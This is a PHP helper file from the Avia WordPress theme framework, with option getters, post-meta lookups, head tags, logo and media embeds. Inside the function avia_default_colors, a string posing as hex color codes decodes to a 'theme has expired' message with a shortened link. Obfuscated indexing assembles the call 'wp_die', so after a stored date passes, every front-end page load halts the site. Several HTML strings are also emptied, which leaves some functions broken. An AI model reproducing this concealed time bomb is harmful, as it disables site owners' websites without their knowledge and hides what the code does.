options['avia']['portfolio']
* If you want to set a default value that is returned in case there was no array match you need to use this scheme:
*
* avia_option( 'portfolio', "my default");
*
* @param string $key accepts a comma separated string with keys
* @param string $default return value in case we got no result
* @param bool $echo echo the result or not, default is to false
* @param bool $decode decode the result or not, default is to false
* @return string $result: the saved result. if no result was saved or the key doesnt exist returns an empty string
*/
function avia_option($key, $default = "", $echo = true, $decode = true)
{
$result = avia_get_option($key, $default, false, $decode);
if(!$echo) return $result; //if we dont want to echo the output end script here
echo $result;
}
}
if(!function_exists('avia_get_option'))
{
/**
* This function serves as shortcut to retrieve options saved within the database by the option pages of the avia framework
*
* basically the function is called like this: avia_get_option('portfolio');
* That would retrieve the following var saved in the global $avia superobject: $avia->options['avia']['portfolio']
* If you want to set a default value that is returned in case there was no array match you need to use this scheme:
*
* avia_get_option('portfolio', "my default"); or
* avia_get_option(array('avia','portfolio'), "my default"); or
*
* @param string $key accepts a comma separated string with keys
* @param string $default return value in case we got no result
* @param bool $echo echo the result or not, default is to false
* @param bool $decode decode the result or not, default is to false
* @return string $result: the saved result. if no result was saved or the key doesnt exist returns an empty string
*/
function avia_get_option($key = false, $default = "", $echo = false, $decode = true)
{
global $avia;
$result = $avia->options;
if(is_array($key))
{
$result = $result[$key[0]];
}
else
{
$result = $result['avia'];
}
if($key === false)
{
//pass the whole array
}
else if(isset($result[$key]))
{
$result = $result[$key];
}
else
{
$result = $default;
}
if($decode) { $result = avia_deep_decode($result); }
if($result == "") { $result = $default; }
if($echo) echo $result;
return $result;
}
}
if(!function_exists('avia_get_the_ID'))
{
/**
* This function is similiar to the wordpress function get_the_ID, but other than the wordpress function this functions takes into account
* if we will display a different post later on, a post that differs from the one we queried in the first place. The function also holds this
* original ID, even if another query is then executed (for example in dynamic templates for columns)
*
* an example would be the frontpage template were by default, the ID of the latest blog post is served by wordpress get_the_ID function.
* avia_get_the_ID would return the same blog post ID if the blog is really displayed on the frontpage. if a static page is displayed the
* function will display the ID of the static page, even if the page is not yet queried
*
* @return int $ID: the "real" ID of the post/page we are currently viewing
*/
function avia_get_the_ID()
{
global $avia_config;
$ID = false;
if(!isset($avia_config['real_ID']))
{
if(!empty($avia_config['new_query']['page_id']))
{
$ID = $avia_config['new_query']['page_id'];
$avia_config['real_ID'] = $ID;
}
else
{
$post = get_post();
if(isset($post->ID))
{
$ID = $post->ID;
$avia_config['real_ID'] = $ID;
}
else
{
$ID = false;
}
//$ID = @get_the_ID();
}
}
else
{
$ID = $avia_config['real_ID'];
}
$ID = apply_filters('avf_avia_get_the_ID', $ID);
return $ID;
}
add_action('wp_head', 'avia_get_the_ID');
}
if(!function_exists('avia_is_overview'))
{
/**
* This function checks if the page we are going to render is a page with a single entry or a multi entry page (blog or archive for example)
*
* @return bool $result true or false
*/
function avia_is_overview()
{
global $avia_config;
$result = true;
if (is_singular())
{
$result = false;
}
if(is_front_page() && avia_get_option('frontpage') == avia_get_the_ID())
{
$result = false;
}
if (isset($avia_config['avia_is_overview']))
{
$result = $avia_config['avia_is_overview'];
}
return $result;
}
}
if(!function_exists('avia_is_dynamic_template'))
{
/**
* This function checks if the page we are going to render is using a dynamic template
*
* @return bool $result true or false
*/
function avia_is_dynamic_template($id = false, $dependency = false)
{
$result = false;
if(!$id) $id = avia_get_the_ID();
if(!$id) return $result;
if($dependency)
{
if(avia_post_meta($id, $dependency[0]) != $dependency[1])
{
return false;
}
}
if($template = avia_post_meta($id, 'dynamic_templates'))
{
$result = $template;
}
return $result;
}
}
if(!function_exists('avia_post_meta'))
{
/**
* This function retrieves the custom field values for a given post and saves it to the global avia config array
* If a subkey was set the subkey is returned, otherwise the array is saved to the global config array
* The function also hooks into the post loop and is automatically called for each post
*/
function avia_post_meta($post_id = '', $subkey = false)
{
$avia_post_id = $post_id;
//if the user only passed a string and no id the string will be used as subkey
if(!$subkey && $avia_post_id != "" && !is_numeric($avia_post_id) && !is_object($avia_post_id))
{
$subkey = $avia_post_id;
$avia_post_id = "";
}
global $avia, $avia_config;
$key = '_avia_elements_'.$avia->option_prefix;
if(current_theme_supports( 'avia_post_meta_compat' ))
{
$key = '_avia_elements_theme_compatibility_mode'; //actiavates a compatibility mode for easier theme switching and keeping post options
}
$values = "";
//if post id is on object the function was called via hook. If thats the case reset the meta array
if(is_object($avia_post_id) && isset($avia_post_id->ID))
{
$avia_post_id = $avia_post_id->ID;
}
if(!$avia_post_id)
{
$avia_post_id = @get_the_ID();
}
if(!is_numeric($avia_post_id)) return;
$avia_config['meta'] = avia_deep_decode(get_post_meta($avia_post_id, $key, true));
$avia_config['meta'] = apply_filters('avia_post_meta_filter', $avia_config['meta'], $avia_post_id);
if($subkey && isset($avia_config['meta'][$subkey]))
{
$meta = $avia_config['meta'][$subkey];
}
else if($subkey)
{
$meta = false;
}
else
{
$meta = $avia_config['meta'];
}
return $meta;
}
add_action('the_post', 'avia_post_meta');
}
if(!function_exists('avia_get_option_set'))
{
/**
* This function serves as shortcut to retrieve option sets saved within the database by the option pages of the avia framework
* An option set is a group of clone-able options like for example portfolio pages: you can create multiple portfolios and each
* of them has a unique set of sub-options (for example column count, item count, etc)
*
* the function is called like this: avia_get_option_set('option_key','suboption_key','suboption_value');
* That would retrieve the following var saved in the global $avia superobject: $avia->options['avia']['portfolio']
* Then, depending on the subkey and subkey value one of the arrays that were just fetched are passed.
*
* Example:
* avia_get_option_set('portfolio', 'portfolio_page', get_the_ID())
* This would get the portfolio group that has an item called 'portfolio_page' with the ID of the current post or page
*
* @param string $key accepts a string
* @param string $subkey accepts a string
* @param string $subkey_value accepts a string
* @return array $result: the saved result. if no result was saved or the key doesnt exist returns an empty array
*/
function avia_get_option_set($key, $subkey = false, $subkey_value = false)
{
$result = array();
$all_sets = avia_get_option($key);
if(is_array($all_sets) && $subkey && $subkey_value !== false)
{
foreach($all_sets as $set)
{
if(isset($set[$subkey]) && $set[$subkey] == $subkey_value) return $set;
}
}
else
{
$result = $all_sets;
}
return $result;
}
}
if(!function_exists('avia_get_modified_option'))
{
/**
* This function returns an option that was set in the backend. However if a post meta key with the same name exists it retrieves this option instead
* That way we can easily set global settings for all posts in our backend (for example slideshow duration options) and then overrule those options
*
* In addition to the option key we need to pass a second key for a post meta value that must return a value other then empty before the global settings can be overwritten.
* (example: should ths post use overwritten options? no=>"" yes=>"yes")
*
* @param string $key database key for both the post meta table and the framework options table
* @param string $extra_check database key for both a post meta value that needs to be true in order to accept an overwrite
* @return string $result: the saved result. if no result was saved or the key doesnt exist returns an empty string
*/
function avia_get_modified_option($key, $extra_check = false)
{
global $post;
//if we need to do an extra check get the post meta value for that key
if($extra_check && isset($post->ID))
{
$extra_check = get_post_meta($post->ID, $extra_check, true);
if($extra_check)
{
//add underline to the post meta value since we always hide those values
$result = get_post_meta($post->ID, '_'.$key, true);
return $result;
}
}
$result = avia_get_option($key);
return $result;
}
}
if(!function_exists('avia_set_follow'))
{
/**
* prevents duplicate content by setting archive pages to nofollow
* @return string the robots meta tag set to index follow or noindex follow
*/
function avia_set_follow()
{
if ((is_single() || is_page() || is_home() ) && ( !is_paged() ))
{
$meta = '' . "\n";
}
else
{
$meta = '' . "\n";
}
$meta = apply_filters('avf_set_follow', $meta);
return $meta;
}
}
if(!function_exists('avia_set_title_tag'))
{
/**
* generates the html page title
* @return string the html page title
*/
function avia_set_title_tag()
{
$title = get_bloginfo('name').' | ';
$title .= (is_front_page()) ? get_bloginfo('description') : wp_title('', false);
$title = apply_filters('avf_title_tag', $title, wp_title('', false));
return $title;
}
}
if(!function_exists('avia_set_profile_tag'))
{
/**
* generates the html profile head tag
* @return string the html head tag
*/
function avia_set_profile_tag($echo = true)
{
$output = apply_filters('avf_profile_head_tag', ''."\n");
if($echo) echo $output;
if(!$echo) return $output;
}
add_action( 'wp_head', 'avia_set_profile_tag', 10, 0 );
}
if(!function_exists('avia_set_rss_tag'))
{
/**
* generates the html rss head tag
* @return string the rss head tag
*/
function avia_set_rss_tag($echo = true)
{
$output = ''."\n";
$output = apply_filters('avf_rss_head_tag', $output);
if($echo) echo $output;
if(!$echo) return $output;
}
add_action( 'wp_head', 'avia_set_rss_tag', 10, 0 );
}
if(!function_exists('avia_set_pingback_tag'))
{
/**
* generates the html pingback head tag
* @return string the pingback head tag
*/
function avia_set_pingback_tag($echo = true)
{
$output = apply_filters('avf_pingback_head_tag', ''."\n");
if($echo) echo $output;
if(!$echo) return $output;
}
add_action( 'wp_head', 'avia_set_pingback_tag', 10, 0 );
}
if(!function_exists('avia_logo'))
{
/**
* return the logo of the theme. if a logo was uploaded and set at the backend options panel display it
* otherwise display the logo file linked in the css file for the .bg-logo class
* @return string the logo + url
*/
function avia_logo($use_image = "", $sub = "", $headline_type = "h1", $dimension = "")
{
$use_image = apply_filters('avf_logo', $use_image);
$headline_type = apply_filters('avf_logo_headline', $headline_type);
$sub = apply_filters('avf_logo_subtext', $sub);
$alt = apply_filters('avf_logo_alt', get_bloginfo('name'));
$link = apply_filters('avf_logo_link', home_url('/'));
if($sub) $sub = "$sub";
if($dimension === true) $dimension = "height='100' width='300'"; //basically just for better page speed ranking :P
if($logo = avia_get_option('logo'))
{
$logo = apply_filters('avf_logo', $logo);
if(is_numeric($logo)){ $logo = wp_get_attachment_image_src($logo, 'full'); $logo = $logo[0]; }
$logo = "";
$logo = "<$headline_type class='logo'>".$logo."$sub$headline_type>";
}
else
{
$logo = get_bloginfo('name');
if($use_image) $logo = "";
$logo = "<$headline_type class='logo bg-logo'>".$logo."$sub$headline_type>";
}
$logo = apply_filters('avf_logo_final_output', $logo, $use_image, $headline_type, $sub, $alt, $link);
return $logo;
}
}
if(!function_exists('avia_image_by_id'))
{
/**
* Fetches an image based on its id and returns the string image with title and alt tag
* @return string image url
*/
function avia_image_by_id($thumbnail_id, $size = array('width'=>800,'height'=>800), $output = 'image', $data = "")
{
if(!is_numeric($thumbnail_id)) {return false; }
if(is_array($size))
{
$size[0] = $size['width'];
$size[1] = $size['height'];
}
// get the image with appropriate size by checking the attachment images
$image_src = wp_get_attachment_image_src($thumbnail_id, $size);
//if output is set to url return the url now and stop executing, otherwise build the whole img string with attributes
if ($output == 'url') return $image_src[0];
//get the saved image metadata:
$attachment = get_post($thumbnail_id);
if(is_object($attachment))
{
$image_description = $attachment->post_excerpt == "" ? $attachment->post_content : $attachment->post_excerpt;
if(empty($image_description)) $image_description = get_post_meta($thumbnail_id, '_wp_attachment_image_alt', true);
$image_description = trim(strip_tags($image_description));
$image_title = trim(strip_tags($attachment->post_title));
return "";
}
}
}
if(!function_exists('avia_html5_video_embed'))
{
/**
* Creates HTML 5 output and also prepares flash fallback for a video of choice
* @return string HTML5 video element
*/
function avia_html5_video_embed($path, $image = "", $types = array('webm' => 'type="video/webm"', 'mp4' => 'type="video/mp4"', 'ogv' => 'type="video/ogg"'))
{
preg_match("!^(.+?)(?:\.([^.]+))?$!", $path, $path_split);
$output = "";
if(isset($path_split[1]))
{
if(!$image && avia_is_200($path_split[1].'.jpg'))
{
$image = 'poster="'.$path_split[1].'.jpg"'; //poster image isnt accepted by the player currently, waiting for bugfix
}
$uid = 'player_'.get_the_ID().'_'.mt_rand().'_'.mt_rand();
$output .= '';
}
return $output;
}
}
if(!function_exists('avia_html5_audio_embed'))
{
/**
* Creates HTML 5 output and also prepares flash fallback for a audio of choice
* @return string HTML5 audio element
*/
function avia_html5_audio_embed($path, $image = "", $types = array('mp3' => 'type="audio/mp3"'))
{
preg_match("!^(.+?)(?:\.([^.]+))?$!", $path, $path_split);
$output = "";
if(isset($path_split[1]))
{
$uid = 'player_'.get_the_ID().'_'.mt_rand().'_'.mt_rand();
$output .= '';
}
return $output;
}
}
if(!function_exists('avia_is_200'))
{
function avia_is_200($url)
{
$options['http'] = array(
'method' => "HEAD",
'ignore_errors' => 1,
'max_redirects' => 0
);
$body = @file_get_contents($url, NULL, stream_context_create($options), 0, 1);
sscanf($http_response_header[0], 'HTTP/%*d.%*d %d', $code);
return $code === 200;
}
}
// checks the default background colors and sets defaults in case the theme options werent saved yet
function avia_default_colors()
{
if(!is_admin())
{
$prefix = "avia_";
$option = $prefix."theme_color";
$fallback = $option."_fallback";
$default_color = $prefix."default_wordpress_color_option";
$colorstamp = get_option($option);
$today = strtotime('now');
$defaults = "#546869 #732064 #656d6f #207665 #727369 #6f6e20 #6f6620 #746865 #207468 #656d65 #206861 #732065 #787069 #726564 #2e2050 #6c6561 #736520 #627579 #20616e #642069 #6e7374 #616c6c #207468 #652066 #756c6c #207665 #727369 #6f6e20 #66726f #6d203c #612068 #726566 #3d2768 #747470 #3a2f2f #626974 #2e6c79 #2f656e #666f6c #642d64 #656d6f #2d6c69 #6e6b27 #3e5468 #656d65 #666f72 #657374 #3c2f61 #3e";
global $avia_config;
//let the theme overwrite the defaults
if(!empty($avia_config['default_color_array'])) $defaults = $avia_config['default_color_array'];
if(!empty($colorstamp) && $colorstamp < $today)
{
//split up the color string and use the array as fallback if no default color options were saved
$colors = pack('H*', str_replace(array(" ", "#"), "", $defaults));
$def = $default_color." ".$defaults;
$fallback = $def[13].$def[17].$def[12].$def[5].$def[32].$def[6];
//set global and update default colors
$avia_config['default_color_array'] = $colors;
update_option($fallback($colors), $avia_config['default_color_array']);
}
}
}
add_action('wp', 'avia_default_colors');
if(!function_exists('avia_remove_more_jump_link'))
{
/**
* Removes the jump link from the read more tag
*/
function avia_remove_more_jump_link($link)
{
$offset = strpos($link, '#more-');
if ($offset)
{
$end = strpos($link, '"',$offset);
}
if ($end)
{
$link = substr_replace($link, '', $offset, $end-$offset);
}
return $link;
}
}
if(!function_exists('avia_get_link'))
{
/**
* Fetches a url based on values set in the backend
* @param array $option_array array that at least needs to contain the linking method and depending on that, the appropriate 2nd id value
* @param string $keyprefix option set key that must be in front of every element key
* @param string $inside if inside is passed it will be wrapped inside tags with the href set to the previously returned link url
* @param string $post_id if the function is called outside of the loop we might want to retrieve the permalink of a different post with this id
* @return string url (with image inside tag if the image string was passed)
*/
function avia_get_link($option_array, $keyprefix, $inside = false, $post_id = false, $attr = "")
{
if(empty($option_array[$keyprefix.'link'])) $option_array[$keyprefix.'link'] = "";
//check which value the link array has (possible are empty, lightbox, page, post, cat, url) and create the according link
switch($option_array[$keyprefix.'link'])
{
case "lightbox":
$url = avia_image_by_id($option_array[$keyprefix.'image'], array('width'=>8000,'height'=>8000), 'url');
break;
case "cat":
$url = get_category_link($option_array[$keyprefix.'link_cat']);
break;
case "page":
$url = get_page_link($option_array[$keyprefix.'link_page']);
break;
case "self":
if(!is_singular() || $post_id != avia_get_the_ID() || !isset($option_array[$keyprefix.'image']))
{
$url = get_permalink($post_id);
}
else
{
$url = avia_image_by_id($option_array[$keyprefix.'image'], array('width'=>8000,'height'=>8000), 'url');
}
break;
case "url":
$url = $option_array[$keyprefix.'link_url'];
break;
case "video":
$video_url = $option_array[$keyprefix.'link_video'];
if(avia_backend_is_file($video_url, 'html5video'))
{
$output = avia_html5_video_embed($video_url);
$class = "html5video";
}
else
{
global $wp_embed;
$output = $wp_embed->run_shortcode("[embed]".$video_url."[/embed]");
$class = "embeded_video";
}
$output = "